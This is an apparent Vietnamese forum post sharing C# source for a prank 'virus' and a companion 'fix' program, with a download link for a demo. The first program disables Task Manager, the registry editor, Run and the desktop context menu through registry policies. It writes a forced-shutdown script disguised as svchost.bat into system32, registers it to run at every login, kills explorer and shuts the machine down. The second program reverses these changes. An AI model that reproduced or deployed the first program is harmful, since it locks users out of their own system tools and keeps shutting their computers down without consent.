Chức năng tự tắt máy và khóa registry,chuột phải desktop,run,taskmanager
File fix
demo
- Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.IO;
using System.Diagnostics;
namespace TracNghiemCsharp
{
class Program
{
static void Main(string[] args)
{
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoRun", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system", "DisableRegistryTools", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system", "DisableTaskMgr", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoViewContextMenu", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoFolderOptions", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner", "Mr.Tin", 1, Microsoft.Win32.RegistryValueKind.DWord);
StreamWriter sw = new StreamWriter("C:\\windows\\system32\\svchost.bat");
string s = "shutdown/s /f /t 0300 /c " + (char)34 + "Tu dong tat may sau 300 giay" + (char)34;
sw.Write(s.ToString());
sw.Close();
foreach (Process proc in Process.GetProcesses())
{
if (proc.ProcessName == "explorer") proc.Kill();
}
System.Diagnostics.Process.Start("explorer.exe");
System.Diagnostics.Process.Start("shutdown", "/s /f /t 0300 /c " + (char)34 + "Tu dong tat may sau 300 giay" + (char)34);
Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "svchost", "C:\\windows\\system32\\svchost.bat", Microsoft.Win32.RegistryValueKind.String);
Console.Write("chuc mung ban da dinh virus HIV ");
Console.ReadLine();
}
}
}
File fix
- Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.IO;
using System.Diagnostics;
namespace TracNghiemCsharp
{
class Program
{
static void Main(string[] args)
{
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoRun", 0, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system", "DisableRegistryTools", 0, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system", "DisableTaskMgr", 0, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoViewContextMenu", 0, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoFolderOptions", 0, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner", "Mr.Tin", 0, Microsoft.Win32.RegistryValueKind.DWord);
System.Diagnostics.Process.Start("shutdown", "/a");
Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "svchost", "", Microsoft.Win32.RegistryValueKind.String);
Console.Write("chuc mung ban da thoat khoi virus HIV ");
Console.ReadLine();
}
}
}
demo
- Code:
http://www.mediafire.com/?fykynzzzztg